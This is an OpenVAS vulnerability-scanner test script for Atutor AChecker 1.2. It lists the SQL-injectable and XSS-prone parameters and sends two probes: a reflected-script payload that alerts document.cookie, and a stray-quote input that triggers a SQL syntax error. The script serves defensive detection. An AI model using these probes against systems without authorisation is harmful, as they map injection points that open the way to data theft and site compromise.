Atutor AChecker Multiple SQL Injection and XSS Vulnerabilities

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_atutor_achecker_mult_sql_inj_n_xss_vuln.nasl 7006 2017-08-25 11:51:20Z teissa $
#
# Atutor AChecker Multiple SQL Injection and XSS Vulnerabilities
#
# Authors:
# Antu Sanadi <[email protected]>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will let attackers to execute arbitrary
script code or to compromise the application, access or modify data, or exploit
latent vulnerabilities in the underlying database.

Impact Level: Application";

tag_affected = "Atutor AChecker 1.2 (build r530)";

tag_insight = "Multiple flaws are due to an,
- Input passed via the parameter 'myown_patch_id' in '/updater/patch_edit.php'
and the parameter 'id' in '/user/user_create_edit.php' script is not
properly sanitised before being used in SQL queries.
- Input through the GET parameters 'id', 'p' and 'myown_patch_id' in
multiple scripts is not sanitized allowing the attacker to execute HTML
code or disclose the full path of application's residence.";

tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";

tag_summary = "This host is running Atutor AChecker and is prone to multiple
cross site scripting and SQL injection vulnerabilities.";

if(description)
{
  script_id(801982);
  script_version("$Revision: 7006 $");
  script_tag(name:"last_modification", value:"$Date: 2017-08-25 13:51:20 +0200 (Fri, 25 Aug 2017) $");
  script_tag(name:"creation_date", value:"2011-09-14 16:05:49 +0200 (Wed, 14 Sep 2011)");
  script_bugtraq_id(49061, 49093);
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Atutor AChecker Multiple SQL Injection and XSS Vulnerabilities");
  script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/17630/");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/view/103763/ZSL-2011-5035.txt");
  script_xref(name : "URL" , value : "http://packetstormsecurity.org/files/view/103762/ZSL-2011-5034.txt");

  script_tag(name:"qod_type", value:"remote_active");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");

## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

## Check Host Supports PHP
if(!can_host_php(port:port)) {
  exit(0);
}

## Check for each possible path
foreach dir (make_list("/AChecker", "/Atutor/AChecker", "/"))
{
  ## Send and Receive the response
  req = http_get(item:string(dir,"/checker/index.php"), port:port);
  res = http_keepalive_send_recv(port:port,data:req);

  ## Confirm the application
  if("Web Accessibility Checker<" >< res && '>Check Accessibility' >< res)
  {
    ## Construct the XSS Attack
    req = http_get(item:string(dir, '/documentation/frame_header.php?p="' +
                   '><script>alert(document.cookie)</script>'), port:port);
    res = http_keepalive_send_recv(port:port, data:req);

    ## Confirm exploit worked by checking the response
    if(res =~ "HTTP/1\.. 200" && '"><script>alert(document.cookie)</script>' >< res)
    {
      security_message(port);
      exit(0);
    }

    ## Construct the SQL attack
    req = http_get(item:string(dir, "/user/user_create_edit.php?id='1111"),
                   port:port);
    res = http_keepalive_send_recv(port:port, data:req);

    ## Confirm exploit worked by checking the response
    if('You have an error in your SQL syntax;' >< res)
    {
      security_message(port);
      exit(0);
    }
  }
}